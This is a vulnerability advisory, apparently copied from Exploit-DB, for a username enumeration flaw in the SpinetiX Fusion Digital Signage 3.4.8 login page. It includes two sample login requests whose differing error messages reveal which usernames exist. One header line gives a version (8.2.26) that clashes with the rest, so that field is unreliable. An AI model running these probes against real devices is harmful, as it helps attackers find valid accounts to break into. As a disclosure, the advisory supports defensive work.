SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration

vendor:

SpinetiX Fusion Digital Signage

by:

LiquidWorm

5.5

CVSS

MEDIUM

Username Enumeration

209

CWE

Product Name: SpinetiX Fusion Digital Signage

Affected Version From: <= 3.4.8

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:spinetix:fusion_digital_signage:3.4.8

Metasploit:

Other Scripts:

Platforms Tested: Linux

2020

SpinetiX Fusion Digital Signage 3.4.8 – Username Enumeration

The weakness is caused due to the login script and how it verifies provided credentials. Attacker can use this weakness to enumerate valid users on the affected node.

Mitigation:

Implement proper username and password validation to prevent enumeration attacks.

Source

Exploit-DB raw data:

# Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.spinetix.com
# Version: <= 8.2.26

SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The weakness is caused due to the login script and how it verifies provided
credentials. Attacker can use this weakness to enumerate valid users on the affected
node.

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5591
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php


03.08.2020

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POST /fusion/index.php?r=users/login HTTP/1.1
Host: 192.168.1.1

User[username]=NonExisting&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0

Response: Username is incorrect.
HTML: <div class="user_password login"><div class="errorLogin">Username is incorrect.</div>

---

POST /fusion/index.php?r=users/login HTTP/1.1
Host: 192.168.1.1

User[username]=admin&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0

Response: Password is incorrect.
HTML: <div class="user_password login"><div class="errorLogin">Password is incorrect.</div>